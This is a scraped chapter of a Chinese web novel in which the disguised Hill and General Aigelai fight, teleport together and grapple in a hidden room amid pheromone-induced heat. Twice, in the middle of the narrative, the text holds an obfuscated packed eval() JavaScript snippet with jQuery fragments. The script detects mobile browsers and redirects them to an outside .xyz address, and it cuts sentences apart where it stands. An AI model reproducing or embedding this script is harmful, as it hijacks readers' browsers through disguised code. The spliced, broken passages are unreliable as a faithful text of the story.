艾格莱很轻地压了下火气,拿出最后一点耐心,“现在离开这里,根据星际公约,非法拍卖行一切拍卖物品,均已违法拍卖处理,这件东西并不属于你,而你的押金会在后续处理完毕后,经由系统自动返还。”
通过对方的态度,希尔无声挑了下眉,确定了一件事情,对方并没有认出自己。
先伪装一层,再用防窥探面具伪装一层,最后摘下防窥探面具,熟悉的特色会根据心理惯性,轻易成了虚假的证明。
真是一个好消息,尤其额头上的触角,非常真实的虫族触角,为他现在的伪装,添加了一层完美的屏护。
希尔双手举起,他从平台上跃下,对着幽深的枪口露出无辜的笑容,语气却淡淡的,近乎挑衅。
“不行。”
军装上的家族徽纹勾动了他的记忆海,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15177856|164455||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
希尔现在的脑子其实很乱,各种交杂的画面模糊无比,在脑子里翻江倒海,却因为体量太大,无法在一片海洋中找到准确的那滴水。
希尔的耐性也算不上好,如果不是艾格莱挡在这里,换成任何一个雌虫,他甚至连转身应付都不会有心情。
不需要任何对同族的仁慈,艾格莱在得到回答的刹那,就已经扣动了手上的武器,惦记着对方脚下脆弱的衣物,他瞄准的是对方的肩膀,一旦命中,光能会带动对方的身体撞向幕布之后。
那零星一点对同族的照顾,大概就是他将能量向下调低了一档。
然而对方的系列反应很快,一脚踢起破碎的墙块,砸向艾格莱的瞬间,转身避开枪口的能量波!
在艾格莱碾碎墙块的瞬息,希尔就地一滚,看似躲开了后续的三枪,实际上手极快地在混乱的地面上一摸。
艾格莱神色冰冷,反手收枪,不耐烦来回枪击躲闪战略,没有雌虫能扛得住第三军团长的近身战斗,他闪身逼近希尔,卷发凌乱拖在肩头,精致眉眼锋锐凌厉,“你当我的眼睛是瞎的么,把你手中的东西交出来!”
无知无觉中,被点燃情绪化反应的艾格莱上将,一脚踏入雄虫信息素最浓的核心地段,他瞬息窒住,踉跄一步,只感觉整个身体被一整块甜到舌尖发慌的蛋糕给包裹住,基因瞬间陷入渴求阶段。
发.情期前兆阶段!
这脆弱的拍卖平台被顶部的墙块哐哐砸了几分钟,又被几道能量波直接击穿地面,之前被艾格莱注意的那个位置,仿佛因此启动了什么,在微弱的机械流停在艾格莱脚下时,身体混乱的上将当即敏锐低头。
然后层层机关启动,强烈的失重感猛地传来,艾格莱瞳孔一缩,本能伸手就要勾住边缘翻身上去,却被另一只温热手掌牢牢抓住,让他那瞬间大脑思维一停。
本该顺畅的身体反应也由此一卡,错过了最好的时机!
艾格莱与那只手的主人,一起陷入了巨大的失重感中,混乱中,他似乎对上了那个雌虫的眼睛,隐约看到了掠过的深紫流芒。
哪怕身体激素将身体潜能发挥极致,一切反应在眼中定格成慢动作,思维反应依旧抵不住客观变化。
真正情况是,当汉特带队冲入的时候,之前被标记的拍卖台不对劲的那个地方,亮起了传送的能量波,该死的空间能力种族的天赋,骤然下落的上将,被一个陌生的棕灰色头发雌虫抓住仅一瞬,两个雌虫一起下坠消失在了眼前!
汉特一把摔下武器,冲到了那处,又狂跳着连连后退!
救命,好恐怖的雄虫信息素。
18.相杀者相爱(18)
空间能力种族的天赋经常不稳定,同一个目的地,不同种族会达成不一样的结果。
有的会在抵达目的地之后,刷地一下又将人传送回来,有的会在传送过程中,随即来几次不知去向的短暂游,一如此类数不胜数。
因此,这种能力在以科技树能力点满的星际中并不吃香,很多时候他们宁愿花时间开辟一个新的跃迁站点。
除了这种地下行业需要急性逃命的时候。
汉特派队让他们牢牢看着,转头就撸起袖子,在小臂处狠狠扎了一针信息素凝露。
身体勉强得到缓和,但体内基因仿佛心有余悸,一抽一抽地,偶尔烫他一下。
汉特没舍得动用A级信息素凝露,各个军团每年信息素凝露的配比量,都是要在会上唇枪舌战血肉横飞一番,生生抢来的。
敌人们对于利用虫族发.情期催发基因暴乱期这点,几百上千年来手段用尽。
作为战略级军需储备,他们要用尽一切手段预防对手动用各种诱导素,同时作为勋章点兑换级别中排第二的奖励物品,各大军团内的信息素凝露储备数量,也严重影响着普通虫族参军入伍的选择。
一支B级信息素凝露,加上足够的意志力,能应对各种程度的诱导发.情。
但汉特从没感觉如此不妙,他犹豫了下,还是咬牙又扎了一针A级信息素凝露,身体一缓,仿佛才从密不透风的感觉中喘过一口气。
但余悸感还没有消退,这代表A级信息素凝露也不能完全压制。
反应过来这其中代表的含义,汉特捂住额头,面对眼下上将丢了,空气里高等级阁下的信息素分子到处飘的情况,神经都在狂跳。
比起这些,弗琳星球提督的那些事,反倒是能直接物理层面解决的小事了。
.
在艾格莱悬空要坠入未知的那个瞬间,希尔的身体比脑子快,危机降临的情况下,他似乎更倾向于保护雌虫的生命安全。
然而抓住对方后,连他一起进入传送范围,希尔顿时就后悔了!
这明明是趁机脱身的好机会啊!
可惜身体根本不给脑子后悔的时间,强烈的失重感下,心脏下一秒就能跳出来。
好像是一瞬间的事。
这期间希尔想要甩开抓住艾格莱的手,却被对方警告地反手扣住手腕,用足了押解罪犯虫的力道,然后扯在一起双双落地。
身体撞击地面,希尔当即抽手,一个翻身就要先跑,结果艾格莱一个横扫,他本能避开,却闪避到了艾格莱身边。
艾格莱微微眯眸,反手去擒,又被希尔迅速格挡,手脚打出残影,短短几秒,两位一米九的大高虫,在狭窄的空间内过了数招!
最后双方同时攻击致命处,又在半空中同时格挡,希尔在手臂碰撞瞬息,反手攥住艾格莱手臂,一个扭折正要向外狠推,艾格莱已经凌空翻转卸力,长腿狠狠踹向希尔侧腰!
希尔抬腿绞住,被迫回拉对方,反倒被艾格莱绞住双手,砰地一下一起又撞回了地面!
“谁!”吼声与两道急促的脚步声从外面跑进。
希尔与艾格莱同时停住身体动作,现在艾格莱拧住希尔右手,希尔绞住艾格莱右腿,两虫的左手同时掐在对方滚动的喉骨上!
随着走近声,他们默契地向着旁边一滚,暂且先将自己藏入桌底狭小空间内,隐蔽的呼吸放低,彼此的虎口出却传来对方动脉的涌动,谁都不肯先松手,就这么执意掌住对方的死穴。
有些怪异,因为他们现在压的太近,虎口又敏锐感应着另一个虫的生命节奏。
隔着皮肤,他们的血肉仿佛黏糊地凑在了一起。
“怎么了?”有声音道。
“刚刚好像有什么东西重击地面的声音。”另一道声音开口。
“是这个么,这箱子怎么从架子上面掉下来了。”
“哦,应该吧。”
“有个分行被虫族炸了,现在那边乱的不行,那边的传送点还不稳定,拍卖主持完全是双腿跑出来的,你等下记得撤掉那个分行的传送通道
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15186564|164455||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。”
“它动不动就坏,这群空间种族天赋者真是不靠谱……”
对话与脚步声同时走远。
希尔动了下喉咙,他不太喜欢这种被扼住的感觉,发脾气一样加重了左手力道,张口吐出两个轻声字眼,“放手!
艾格莱同样不喜欢,他现在正在发.情期前兆阶段,对于雄虫信息素的渴求放大了一切情绪,冰冷地笑了下,垂眸近乎要抵在棕发雌虫的鼻尖,凉声道:“我从不受虫威胁。”
语落,艾格莱眼神一冷,就要直接下狠手,他不觉得眼前的雌虫近身战反应快,身体恢复能力就能抵过自己,这一次他没有任何留手。
喉骨被碾压,一切都极快,希尔屈膝狠狠顶向艾格莱腹部,巨大的受击撞入,艾格莱手上力道顿时一松。
希尔借势挣脱,左手压制不变,狠狠将艾格莱反身压在下方,同时半身重量压在右膝,危险跪在艾格莱腹上,只要用力就能压烂对方腹腔。
他居高临下的看着,很轻地喘了口气,挣脱开的喉骨上下一滚,当不适缓解后,才冷嘲道:“艾格莱上将,我很怀疑你脑子是否清楚,非要在敌方大本营自相残杀。”
艾格莱唇角很冷,喉骨被掐,他抬手扣住希尔掐住自己的手的手腕处,气势收敛至你随意的散漫中,他抬起另一只空荡的手,上面正掐住一只小巧的伪装设备。
“我很好奇,藏头露尾的家伙,真面目到底是什么样的。 ”
希尔瞳孔一缩,却见下一秒艾格莱平淡又道:“还有这个,依法来说,不属于你。”
一个损痕严重的腕式智能设备,在艾格莱手腕一动后,魔法一般勾在了小指上,慢悠悠地荡着圈。
什么时候拿到的!
希尔震惊。
不是,打个架而已,他难道浑身都被摸了一遍吗?
不等希尔做些什么,艾格莱唇角弧度冷淡拉平,丝毫不带犹豫地捏碎了伪装设备。
下一瞬,艾格莱瞳孔震动,腕式智能设备从他呆怔的指尖滑落。